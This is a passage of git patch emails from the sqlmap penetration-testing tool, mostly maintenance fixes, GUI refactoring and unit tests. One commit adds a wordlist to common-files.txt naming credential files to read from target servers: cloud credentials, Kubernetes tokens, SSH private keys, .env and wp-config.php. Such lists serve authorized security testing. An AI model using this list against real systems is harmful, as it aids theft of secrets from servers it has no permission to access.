= version >= minimum + mSign = 0 + if minimum.startswith(">="): + pass + elif minimum.startswith(">"): + mSign = 1 + + minimum = extractRegexResult(r"(?P[0-9][0-9.]*)", minimum) + + if minimum: + # Note: compare dotted versions component-wise as int tuples, not as floats; a float + # collapses e.g. 5.4.3->5.43 and 5.10.0->5.100(==5.1), silently mis-ordering multi-part + # or multi-digit-minor versions (MariaDB 10.11, PostgreSQL 9.10, Presto 0.99 vs 0.178) + vParts = tuple(int(_) for _ in re.findall(r"\d+", version)) + mParts = tuple(int(_) for _ in re.findall(r"\d+", minimum)) + length = max(len(vParts), len(mParts)) + vParts += (0,) * (length - len(vParts)) + mParts += (0,) * (length - len(mParts)) + + retVal = (vParts, vSign) >= (mParts, mSign) return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 71e01889f73..d261bb3e7b8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.126" +VERSION = "1.10.7.127" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_common.py b/tests/test_common.py index b27e8acf324..d26d1090c7e 100644 --- a/tests/test_common.py +++ b/tests/test_common.py @@ -86,6 +86,7 @@ getTechnique, getText, intersect, + isDBMSVersionAtLeast, isListLike, isNoneValue, isNullValue, @@ -983,6 +984,48 @@ def test_empty_returns_none(self): self.assertIsNone(aliasToDbmsEnum("")) +class TestIsDBMSVersionAtLeast(unittest.TestCase): + """Version gating drives per-DBMS query selection; comparison must be component-wise.""" + + def setUp(self): + self._saved = kb.get("dbmsVersion") + + def tearDown(self): + kb.dbmsVersion = self._saved + + def _at_least(self, version, minimum): + kb.dbmsVersion = version + return isDBMSVersionAtLeast(minimum) + + def test_single_major_thresholds(self): + self.assertTrue(self._at_least("5.4.3", "5")) + self.assertTrue(self._at_least("8.0.32", "8")) + self.assertFalse(self._at_least("5.7.44", "8")) + + def test_multi_digit_minor_ordering(self): + # floats mis-sorted these (10.11->10.11 vs 10.5->10.5): component-wise fixes it + self.assertTrue(self._at_least("10.11", "10.5")) # MariaDB + self.assertFalse(self._at_least("10.6", "10.11")) + self.assertTrue(self._at_least("5.10.0", "5.5")) + self.assertTrue(self._at_least("9.10", "9.6")) # PostgreSQL + + def test_presto_sequential_minor(self): + # Presto 0.NNN: release 99 is OLDER than release 178 (float made 0.99 > 0.178) + self.assertFalse(self._at_least("0.99", "0.178")) + self.assertTrue(self._at_least("0.180", "0.178")) + + def test_range_and_prefix_semantics(self): + self.assertTrue(self._at_least("2", ">=2.0")) + self.assertFalse(self._at_least("2", ">2")) + self.assertFalse(self._at_least("<2", "2")) + self.assertTrue(self._at_least("<2", "1.5")) + + def test_unknown_version_is_none(self): + from lib.core.settings import UNKNOWN_DBMS_VERSION + kb.dbmsVersion = UNKNOWN_DBMS_VERSION + self.assertIsNone(isDBMSVersionAtLeast("5")) + + class TestGetPageWordSet(unittest.TestCase): def test_word_extraction(self): words = getPageWordSet(u"foobartest") From c78cd5c43eff44228461be92f2bdc7d85cc66193 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 13:54:19 +0200 Subject: [PATCH 784/853] Fixes potential collisions in list/tuple with cachedmethod --- lib/core/decorators.py | 9 +++++++-- lib/core/settings.py | 2 +- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 0490692676b..aa6c1a850b0 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -15,6 +15,11 @@ _cache = {} _method_locks = {} +# Private marker prefixing the slow-path (frozen) cache key so it can never collide with a raw +# fast-path key: without it e.g. args ([1,2],) freezes to ((1,2),), the exact fast key of ((1,2),), +# and the two calls would share a cache slot and return each other's result +_FROZEN_KEY_MARKER = object() + def cachedmethod(f): """ Method with a cached content @@ -62,9 +67,9 @@ def _f(*args, **kwargs): # Note: fallback (slow-path) for unhashable arguments try: if kwargs: - key = (_freeze(args), _freeze(kwargs)) + key = (_FROZEN_KEY_MARKER, _freeze(args), _freeze(kwargs)) else: - key = _freeze(args) + key = (_FROZEN_KEY_MARKER, _freeze(args)) with lock: if key in cache: diff --git a/lib/core/settings.py b/lib/core/settings.py index d261bb3e7b8..7a33b3f1fdd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.127" +VERSION = "1.10.7.128" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 8c86dc68a79cdb88fded481905a0034419c0e1c5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 14:26:24 +0200 Subject: [PATCH 785/853] Minor patch --- lib/core/dicts.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index d2a28a94a9f..53fe36f4716 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -233,7 +233,7 @@ DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python3-firebirdsql", "https://github.com/nakagami/pyfirebirdsql/", "firebird"), DBMS.MAXDB: (MAXDB_ALIASES, None, None, None), # 'maxdb'/'sapdb' SQLAlchemy dialect was removed long ago; a dead dialect only produces a misleading warning - DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), + DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", None), # 'sybase' SQLAlchemy dialect was removed in 1.4 (external replacement abandoned); pymssql/dbwire cover '-d', so a dead dialect only wastes an attempt and shows a misleading warning DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), DBMS.H2: (H2_ALIASES, None, None, None), diff --git a/lib/core/settings.py b/lib/core/settings.py index 7a33b3f1fdd..273c0bacca9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.128" +VERSION = "1.10.7.129" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 267c20048d8e35465b997d20e01c0c58cfe8099f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 14:46:23 +0200 Subject: [PATCH 786/853] Minor patch --- lib/core/settings.py | 2 +- lib/utils/sqlalchemy.py | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 273c0bacca9..de5af0200be 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.129" +VERSION = "1.10.7.130" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index d079cfb3aab..34c377c5a96 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -72,7 +72,10 @@ def connect(self): raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db) _ = self.address.split("//", 1) - self.address = "%s////%s" % (_[0], os.path.abspath(self.db)) + # Note: SQLAlchemy's absolute-SQLite form is 'sqlite:///' + abspath (the abspath's own + # leading '/' completes the triple slash on POSIX). A 4th slash yields db '//path' (only + # tolerated on Linux by accident) and, on Windows, '/C:\...' which fails to open. + self.address = "%s///%s" % (_[0], os.path.abspath(self.db)) if self.dialect == "sqlite": engine = _sqlalchemy.create_engine(self.address, connect_args={"check_same_thread": False}) From 3764ec63e100d2d2a00f4abf91352921c76a8b48 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 15:06:25 +0200 Subject: [PATCH 787/853] Adding some more tests --- lib/core/settings.py | 2 +- tests/test_decorators.py | 93 ++++++++++++++++++++++++++++++++++++++++ tests/test_sqlalchemy.py | 69 +++++++++++++++++++++++++++++ 3 files changed, 163 insertions(+), 1 deletion(-) create mode 100644 tests/test_decorators.py create mode 100644 tests/test_sqlalchemy.py diff --git a/lib/core/settings.py b/lib/core/settings.py index de5af0200be..d62cc785e1a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.130" +VERSION = "1.10.7.131" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_decorators.py b/tests/test_decorators.py new file mode 100644 index 00000000000..c899c3c94c7 --- /dev/null +++ b/tests/test_decorators.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Function decorators in lib/core/decorators.py: cachedmethod (memoization with a +hashable fast path and a frozen slow path for unhashable arguments), stackedmethod +(value-stack realignment) and lockedmethod (reentrant serialization). +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.decorators import cachedmethod, stackedmethod, lockedmethod +from lib.core.threads import getCurrentThreadData + + +class TestCachedMethod(unittest.TestCase): + def test_memoizes_hashable_args(self): + calls = [] + + @cachedmethod + def f(x): + calls.append(x) + return x * 2 + + self.assertEqual(f(3), 6) + self.assertEqual(f(3), 6) + self.assertEqual(len(calls), 1) # second call served from cache + + def test_memoizes_unhashable_args(self): + calls = [] + + @cachedmethod + def g(seq): + calls.append(1) + return sum(seq) + + self.assertEqual(g([1, 2, 3]), 6) + self.assertEqual(g([1, 2, 3]), 6) # same list content -> cache hit + self.assertEqual(len(calls), 1) + self.assertEqual(g([4, 5]), 9) # different content -> recomputed + self.assertEqual(len(calls), 2) + + def test_tuple_and_list_args_do_not_collide(self): + # regression: a list arg ([1,2],) freezes to ((1,2),), the raw fast key of a tuple + # arg ((1,2),); the two calls must not share a cache slot + @cachedmethod + def kind(x): + return type(x).__name__ + + self.assertEqual(kind((1, 2)), "tuple") + self.assertEqual(kind([1, 2]), "list") + + def test_kwargs_are_part_of_the_key(self): + @cachedmethod + def h(a, b=0): + return a + b + + self.assertEqual(h(1, b=2), 3) + self.assertEqual(h(1, b=5), 6) # different kwarg -> not a cache hit + + +class TestStackedMethod(unittest.TestCase): + def test_realigns_leftover_pushes(self): + td = getCurrentThreadData() + base = len(td.valueStack) + + @stackedmethod + def leaky(_): + td.valueStack.append(_) # pushes without popping + + leaky(1) + self.assertEqual(len(td.valueStack), base) # stack restored to original level + + +class TestLockedMethod(unittest.TestCase): + def test_reentrant(self): + @lockedmethod + def recursive_count(n): + return 0 if n <= 0 else n + recursive_count(n - 1) + + self.assertEqual(recursive_count(5), 15) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqlalchemy.py b/tests/test_sqlalchemy.py new file mode 100644 index 00000000000..768c1241119 --- /dev/null +++ b/tests/test_sqlalchemy.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The SQLAlchemy '-d' connector wrapper (lib/utils/sqlalchemy.py). The absolute +SQLite path must map to 'sqlite:///' + abspath: an extra slash yields the db +'//path' (tolerated only on Linux by accident) and, on Windows, a broken +'/C:\\...' that fails to open. +""" + +import os +import sqlite3 +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +try: + import sqlalchemy as _sa + _HAVE_SA = hasattr(_sa, "dialects") +except ImportError: + _HAVE_SA = False + +from lib.core.data import conf +from lib.utils.sqlalchemy import SQLAlchemy + + +@unittest.skipUnless(_HAVE_SA, "SQLAlchemy not installed") +class TestSQLAlchemySqlitePath(unittest.TestCase): + _KEYS = ("direct", "dbmsUser", "dbmsPass", "hostname", "port", "dbmsDb") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._KEYS) + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + + def test_absolute_sqlite_path_opens_correct_file(self): + d = tempfile.mkdtemp(prefix="sqlmap-sa-test") + dbfile = os.path.join(d, "target.db") + con = sqlite3.connect(dbfile) + con.execute("CREATE TABLE t (x TEXT)") + con.execute("INSERT INTO t VALUES ('secret')") + con.commit() + con.close() + + conf.direct = "sqlite://%s" % dbfile + conf.dbmsUser = conf.dbmsPass = None + conf.hostname = None + conf.port = None + conf.dbmsDb = dbfile + + sa = SQLAlchemy(dialect="sqlite") + sa.connect() + + # the reformatted URL must resolve to the exact absolute file (not '//...path') + self.assertEqual(_sa.engine.url.make_url(sa.address).database, os.path.abspath(dbfile)) + # and end-to-end it must read from that file + self.assertEqual(sa.select("SELECT x FROM t"), [("secret",)]) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 861405987665347538a06ce306b0ddd79b498d64 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 15:06:53 +0200 Subject: [PATCH 788/853] Adding some more entries into common files list --- data/txt/common-files.txt | 45 +++++++++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 2 files changed, 46 insertions(+), 1 deletion(-) diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index d64015805e8..1e378d3c430 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -1807,3 +1807,48 @@ /opt/kibana/config/kibana.yml /etc/kibana/kibana.yml /etc/elasticsearch/elasticsearch.yml + +# Containers and orchestration secrets + +/.dockerenv +/proc/self/cgroup +/proc/1/cgroup +/run/secrets/kubernetes.io/serviceaccount/token +/var/run/secrets/kubernetes.io/serviceaccount/token +/run/secrets/kubernetes.io/serviceaccount/namespace +/var/run/secrets/kubernetes.io/serviceaccount/namespace +/run/secrets/kubernetes.io/serviceaccount/ca.crt + +# Cloud provider credentials + +/root/.aws/credentials +/root/.aws/config +/root/.config/gcloud/application_default_credentials.json +/root/.config/gcloud/credentials.db +/root/.azure/accessTokens.json +/root/.kube/config + +# SSH keys and DB/tool history + +/root/.ssh/authorized_keys +/root/.ssh/id_ed25519 +/root/.ssh/id_ecdsa +/root/.ssh/id_dsa +/root/.mysql_history +/root/.psql_history +/root/.rediscli_history +/root/.python_history +/root/.sqlite_history + +# dotenv, VCS and app config under common web roots + +/var/www/.env +/var/www/html/.env +/app/.env +/usr/share/nginx/html/.env +/var/www/html/.git/config +/var/www/html/.git/HEAD +/var/www/html/wp-config.php +/app/application.properties +/app/application.yml +/app/docker-compose.yml diff --git a/lib/core/settings.py b/lib/core/settings.py index d62cc785e1a..5e157adcac6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.131" +VERSION = "1.10.7.132" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f56ab884c7a7626ba3af8ee43948d3c961cd792c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 15:10:09 +0200 Subject: [PATCH 789/853] Fixes CI/CD errors --- lib/core/settings.py | 2 +- tests/test_hashdb.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5e157adcac6..583661971c8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.132" +VERSION = "1.10.7.133" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_hashdb.py b/tests/test_hashdb.py index 0bc0756f878..e7475474e3c 100644 --- a/tests/test_hashdb.py +++ b/tests/test_hashdb.py @@ -104,7 +104,7 @@ def test_foreign_mapping_roundtrips_as_dict(self): # a stdlib dict subclass (e.g. OrderedDict) must round-trip its data rather than # silently degrade to its text repr (session codec: round-trip or fail loudly) from collections import OrderedDict - import six + from thirdparty import six val = OrderedDict([("b", 2), ("a", [1, {"n": "v"}])]) self.db.write("od", val, True) self.db.flush() From 7b64ae7303d4f96ba669a77d31c033b56dbe12f8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 15:28:10 +0200 Subject: [PATCH 790/853] Minor patch --- lib/core/common.py | 12 +++++++++++- lib/core/settings.py | 2 +- tests/test_targeturl.py | 25 +++++++++++++++++++++++-- 3 files changed, 35 insertions(+), 4 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 0b1904eedd5..982241b4bcf 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1809,7 +1809,17 @@ def parseTargetUrl(): errMsg += "in the hostname part" raise SqlmapGenericException(errMsg) - hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filterNone((re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P\d+))?", urlSplit.netloc).group("port"))) + netloc = urlSplit.netloc + + # Note: strip any URL userinfo ('user:pass@') so it is not mistaken for host:port (as the proxy + # parser already does). Credentials embedded in the URL are NOT applied - '--auth-cred' is the + # supported way to pass HTTP authentication - so warn rather than silently dropping them. + if '@' in netloc: + if not any((conf.get("authType"), conf.get("authCred"), conf.get("authFile"))): + singleTimeWarnMessage("credentials in the target URL are ignored. Use '--auth-cred' for HTTP authentication") + netloc = netloc.rsplit('@', 1)[-1] + + hostnamePort = netloc.split(":") if not re.search(r"\[.+\]", netloc) else filterNone((re.search(r"\[.+\]", netloc).group(0), re.search(r"\](:(?P\d+))?", netloc).group("port"))) conf.scheme = (urlSplit.scheme.strip().lower() or "http") conf.path = urlSplit.path.strip() diff --git a/lib/core/settings.py b/lib/core/settings.py index 583661971c8..acf6fdf3fdf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.133" +VERSION = "1.10.7.134" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_targeturl.py b/tests/test_targeturl.py index 74c14c07163..6db349a85c4 100644 --- a/tests/test_targeturl.py +++ b/tests/test_targeturl.py @@ -11,8 +11,10 @@ wrong default port or dropped scheme here misdirects the entire scan, so the scheme/default-port/explicit-port/path cases are pinned. -(Inline URL credentials user:pw@host are intentionally not covered - sqlmap -uses --auth-cred for that and does not parse them out of conf.url.) +Inline URL credentials (user:pw@host) are stripped so the host/port parse +correctly - previously the userinfo was mistaken for the host (user:pass@host -> +hostname 'user'). The credentials are still NOT used for authentication (sqlmap +warns and expects --auth-cred); only the host-misparse is fixed. """ import os @@ -80,5 +82,24 @@ def test_path_extracted(self): self.assertEqual(_parse("http://host/some/path?q=1")[3], "/some/path") +class TestInlineCredentials(unittest.TestCase): + """Userinfo (user:pw@) must be stripped from the host, not mistaken for it.""" + + def test_user_pass_with_port(self): + host, port, _, _ = _parse("http://user:pass@host:8080/?id=1") + self.assertEqual((host, port), ("host", 8080)) + + def test_user_pass_default_port(self): + host, port, _, _ = _parse("http://user:pass@host/?id=1") + self.assertEqual((host, port), ("host", 80)) + + def test_user_only(self): + self.assertEqual(_parse("http://user@host/?id=1")[0], "host") + + def test_credentials_with_ipv6(self): + host, port, _, _ = _parse("http://user:pass@[::1]:8443/?id=1") + self.assertEqual((host, port), ("::1", 8443)) + + if __name__ == "__main__": unittest.main(verbosity=2) From 1db09d5a9806edf967215f2267c5e5b5c04358e7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 16:31:08 +0200 Subject: [PATCH 791/853] Improved --gui --- lib/core/settings.py | 2 +- lib/utils/gui.py | 1525 +++++++++++++++++++++++++++++++++--------- 2 files changed, 1192 insertions(+), 335 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index acf6fdf3fdf..a48c74a56a3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.134" +VERSION = "1.10.7.135" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/gui.py b/lib/utils/gui.py index 97beb328b5c..452160bb468 100644 --- a/lib/utils/gui.py +++ b/lib/utils/gui.py @@ -5,11 +5,13 @@ See the file 'LICENSE' for copying permission """ +import io import os import subprocess import sys import tempfile import threading +import time import webbrowser from lib.core.common import getSafeExString @@ -28,35 +30,88 @@ from lib.core.settings import WIKI_PAGE from thirdparty.six.moves import queue as _queue -# Classic Windows (NT/9x) palette: silver 3D face, navy title/selection, white sunken fields, -# black text, and saturated VGA-style accents for the icons (presentation only) +try: + _text_type = unicode +except NameError: + _text_type = str + +_binary_type = str if sys.version_info[0] < 3 else bytes +_clock = getattr(time, "perf_counter", getattr(time, "clock", time.time)) + +def _toText(value): + """Return a Unicode text value on both Python 2.7 and Python 3.x.""" + if value is None: + return u"" + if isinstance(value, _text_type): + return value + if isinstance(value, _binary_type): + try: + return value.decode("utf-8", "replace") + except Exception: + return _text_type(value) + try: + return _text_type(value) + except Exception: + return _text_type(repr(value)) + +def _toBytes(value): + """Return UTF-8 bytes suitable for a binary subprocess pipe.""" + if isinstance(value, _binary_type): + return value + return _toText(value).encode("utf-8", "replace") + +def _waitForProcess(process, timeout): + """Python 2 compatible replacement for Popen.wait(timeout=...).""" + deadline = _clock() + max(0.0, timeout) + while process.poll() is None and _clock() < deadline: + time.sleep(0.03) + return process.poll() + +def _list2cmdline(arguments): + values = [_toText(_) for _ in arguments] + if sys.version_info[0] < 3: + return _toText(subprocess.list2cmdline([_toBytes(_) for _ in values])) + return _toText(subprocess.list2cmdline(values)) + +# A restrained security-tool palette: the layout stays familiar, while the darker +# navigation, cyan accents and terminal surfaces add a light Havij-era character. PALETTE = { - "base": "#c0c0c0", # window / control face (silver) - "mantle": "#c0c0c0", # bars (classic is uniform gray, separated by bevels) - "crust": "#ffffff", # console / edit background - "surface0": "#ffffff", # field (edit) background - "surface1": "#808080", # 3D shadow - "surface2": "#dfdfdf", # 3D light (soft) - "light": "#ffffff", # 3D highlight - "dark": "#404040", # 3D dark shadow - "text": "#000000", - "subtext": "#000000", - "overlay": "#404040", - "title2": "#1084d0", # active title-bar gradient end - "blue": "#000080", # navy: title, selection, accents - "sapphire": "#0050b0", - "sky": "#0070c0", - "green": "#008000", - "teal": "#008080", - "red": "#c00000", - "maroon": "#800000", - "mauve": "#9000a8", - "pink": "#c000b0", - "peach": "#c06000", - "yellow": "#c08000", - "lavender": "#4858c0", - "flamingo": "#c04070", - "gold": "#e0a800", + "base": "#d7dce1", + "mantle": "#243545", + "crust": "#101820", + "surface0": "#f8fafb", + "surface1": "#8d98a3", + "surface2": "#e7ebef", + "light": "#ffffff", + "dark": "#3c4650", + "text": "#17212b", + "subtext": "#33414f", + "overlay": "#657381", + "title2": "#0b79a5", + "blue": "#164d73", + "sapphire": "#087caf", + "sky": "#169ec1", + "green": "#2d9659", + "teal": "#178b86", + "red": "#bd3f45", + "maroon": "#8c3d56", + "mauve": "#86549a", + "pink": "#b34e83", + "peach": "#c56d35", + "yellow": "#b78a18", + "lavender": "#6172b8", + "flamingo": "#bf5b72", + "gold": "#d29b22", + "navText": "#eef4f8", + "navMuted": "#a9bac8", + "navHover": "#31485d", + "panel": "#eef2f5", + "border": "#9ca7b1", + "success": "#2f9b5b", + "command": "#13232e", + "commandText": "#8de19b", + "consoleText": "#d8e7de", + "consoleMuted": "#8fa69a", } # a distinct accent color per section, so the sidebar icons read as a colorful, scannable set @@ -98,6 +153,8 @@ TARGET_PLACEHOLDER = "http://www.target.com/vuln.php?id=1" HINT_DEFAULT = "Hover or focus a field to see what it does." +MAX_CONSOLE_LINES = 12000 +MAX_SEARCH_RESULTS = 12 # --- parser-backend compatibility (works for both optparse and argparse objects) --- @@ -154,34 +211,143 @@ def _optValueType(option): def _optionLabel(option): return ", ".join(_optStrings(option)) or (_optDest(option) or "") -class _Tooltip(object): - """Lightweight hover tooltip for a widget""" - - def __init__(self, widget, text, tk, palette): - self._widget = widget - self._text = text +def _preferredFlag(option): + strings = _optStrings(option) + longOptions = [_ for _ in strings if _.startswith("--")] + return (longOptions or strings or [""])[0] + +def _quoteArg(value): + value = _toText(value) + if IS_WIN: + return _list2cmdline([value]) + if not value: + return u"''" + safe = u"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_@%+=:,./-" + if all(character in safe for character in value): + return value + return u"'" + value.replace(u"'", u"'\"'\"'") + u"'" + +class _TooltipManager(object): + """One shared tooltip/hint dispatcher for every option control. + + Per-widget Python/Tcl bindings are surprisingly expensive when a pane contains + dozens of options. Widgets only receive a small Python attribute; four global + bindings handle the whole application. + """ + + def __init__(self, owner, root, tk, palette, delay=500): + self._owner = owner + self._root = root self._tk = tk self._palette = palette + self._delay = delay + self._widget = None self._tip = None - widget.bind("", self._show, add="+") - widget.bind("", self._hide, add="+") - widget.bind("", self._hide, add="+") + self._job = None + root.bind_all("", self._enter, add="+") + root.bind_all("", self._leave, add="+") + root.bind_all("", self._focusIn, add="+") + root.bind_all("", self._focusOut, add="+") + root.bind_all("", self._hide, add="+") + + def attach(self, widget, text): + if text: + widget._sqlmap_help = text - def _show(self, event=None): - if self._tip or not self._text: + def _textFor(self, widget): + return getattr(widget, "_sqlmap_help", "") + + def _setHint(self, text): + try: + if hasattr(self._owner, "hint"): + self._owner.hint.set(text or HINT_DEFAULT) + except Exception: + pass + + def _enter(self, event): + text = self._textFor(event.widget) + if not text: return - x = self._widget.winfo_rootx() + 18 - y = self._widget.winfo_rooty() + self._widget.winfo_height() + 6 - self._tip = tw = self._tk.Toplevel(self._widget) - tw.wm_overrideredirect(True) - tw.wm_geometry("+%d+%d" % (x, y)) - self._tk.Label(tw, text=self._text, justify="left", background=self._palette["surface0"], - foreground=self._palette["text"], relief="flat", borderwidth=0, - wraplength=460, padx=10, pady=7).pack() + self._widget = event.widget + self._setHint(text) + self._cancel() + try: + self._job = self._root.after(self._delay, self._show) + except Exception: + self._job = None + + def _leave(self, event): + if event.widget is self._widget: + self._widget = None + self._cancel() + self._hide() + self._setHint(HINT_DEFAULT) + + def _focusIn(self, event): + text = self._textFor(event.widget) + if text: + self._setHint(text) + + def _focusOut(self, event): + if self._textFor(event.widget): + self._setHint(HINT_DEFAULT) + + def _cancel(self): + if self._job is not None: + try: + self._root.after_cancel(self._job) + except Exception: + pass + self._job = None + + def _show(self): + self._job = None + widget = self._widget + text = self._textFor(widget) if widget is not None else "" + if not text: + return + try: + if not widget.winfo_exists(): + return + x = widget.winfo_rootx() + 18 + y = widget.winfo_rooty() + widget.winfo_height() + 